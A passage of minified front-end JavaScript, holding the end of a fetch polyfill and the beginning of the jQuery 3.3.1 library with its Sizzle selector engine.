head.append(key,value)});return head}Body.call(Request.prototype);function Response(bodyInit,options){if(!options)options={};this.type="default";this.status=options.status;this.ok=this.status>=200&&this.status<300;this.statusText=options.statusText;this.headers=options.headers instanceof Headers?options.headers:new Headers(options.headers);this.url=options.url||"";this._initBody(bodyInit)}Body.call(Response.prototype);Response.prototype.clone=function(){return new Response(this._bodyInit,{status:this.status,
statusText:this.statusText,headers:new Headers(this.headers),url:this.url})};Response.error=function(){var response=new Response(null,{status:0,statusText:""});response.type="error";return response};var redirectStatuses=[301,302,303,307,308];Response.redirect=function(url,status){if(redirectStatuses.indexOf(status)===-1)throw new RangeError("Invalid status code");return new Response(null,{status:status,headers:{location:url}})};self.Headers=Headers;self.Request=Request;self.Response=Response;self.fetch=
function(input,init){return new Promise(function(resolve,reject){var request;if(Request.prototype.isPrototypeOf(input)&&!init)request=input;else request=new Request(input,init);var xhr=new XMLHttpRequest;function responseURL(){if("responseURL"in xhr)return xhr.responseURL;if(/^X-Request-URL:/m.test(xhr.getAllResponseHeaders()))return xhr.getResponseHeader("X-Request-URL");return}xhr.onload=function(){var status=xhr.status===1223?204:xhr.status;if(status<100||status>599){reject(new TypeError("Network request failed"));
return}var options={status:status,statusText:xhr.statusText,headers:headers(xhr),url:responseURL()};var body="response"in xhr?xhr.response:xhr.responseText;resolve(new Response(body,options))};xhr.onerror=function(){reject(new TypeError("Network request failed"))};xhr.open(request.method,request.url,true);if(request.credentials==="include")xhr.withCredentials=true;if("responseType"in xhr&&support.blob)xhr.responseType="blob";request.headers.forEach(function(value,name){xhr.setRequestHeader(name,value)});
xhr.send(typeof request._bodyInit==="undefined"?null:request._bodyInit)})};self.fetch.polyfill=true})(typeof self!=="undefined"?self:this);
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return 